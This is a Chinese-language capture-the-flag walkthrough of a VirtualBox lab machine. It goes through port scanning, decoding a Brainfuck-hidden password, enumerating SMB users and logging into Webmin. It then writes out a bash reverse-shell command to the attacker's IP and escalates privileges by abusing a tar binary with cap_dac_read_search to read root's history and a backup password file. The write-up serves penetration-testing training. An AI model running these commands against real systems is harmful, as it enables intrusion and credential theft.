环境介绍:
本次打靶环境都是在Oracle VirtualBox中,kali和靶机的网卡模式都是桥接模式。kali的IP地址是:192.168.212.222,靶机IP地址未知。
靶机下载地址:
涉及知识点:
Webmin ,enum4linux工具,tar命令,getcap命令,提权等主要内容
一.信息收集:
1.1主机探测:
arp-scan -l
找到靶机的IP地址:192.168.212.90
1.2 端口扫描
nmap -sV -A -p- 192.168.212.90
发现有80,139,445,10000,20000端口开启
老样子先访问80端口,是个默认的欢迎页面
二.漏洞挖掘
2.1.网页的信息收集
看一下源代码,发现有提示信息,还是加密的,百度搜索一下,看一下是什么加密。
curl http://192.168.212.90
发现是brainfuck加密的方式
解密一下:疑似密码:.2uqPEfj3D<P'a-3
Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]
推理一下:如果那个是密码,那么账号是什么?输入账号密码的位置又在哪里?接着我目录扫描了一下,发现没有什么有价值的线索,又回到了刚才nmap扫描的端口上去找找线索,10000和20000都是https协议
找到了填账号密码的位置,现在还差账号。但是nmap还扫到了445端口开放。
2.2.enum4linux工具枚举用户
我们使用enum4linux工具进行用户的枚举
enum4linux -a 192.168.212.90
找到了用户cyber,可以尝试登录了,发现在10000端口登录不进去,在20000端口登录成功
三.漏洞利用
3.1反弹shell
点击终端或者如下图所示都是可以的
bash -i >& /dev/tcp/192.168.212.222/4444 0>&1
获取到了user_flag:
四.权限提升
方法一:getcap命令
在操作之前提升一下shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
curl + z
stty raw -echo;fg
reset
在/home/cyber目录下找到了tar的用户root用户
使用getcap命令发现./tar
文件被赋予了 cap_dac_read_search
能力:
允许进程绕过文件系统的 DAC
访问控制机制进行文件读取和目录搜索。也就是说,拥有这个能力的进程可以读取那些它原本没有权限读取的文件,或者搜索那些它原本没有权限访问的目录。
在GTFOBins上找到了利用的方式:
读取root的历史命令:(本来是想直接读取root.txt的,发现读不了)
./tar xf "/root/.bash_history" -I '/bin/sh -c "cat 1>&2"'
root编辑了/var/backups/.old_pass.bak文件,那就读一下
./tar xf "/var/backups/.old_pass.bak" -I '/bin/sh -c "cat 1>&2"'
发现了密码:Ts&4&YurgtRX(=~h
登录一下root用户,找到了flag
方法二:tar命令
如果你直接找到了/var/backups/.old_pass.bak文件
利用方式:
回到/home/cyber目录下:
./tar -cvf pass.tar /var/backups/.old_pass.bak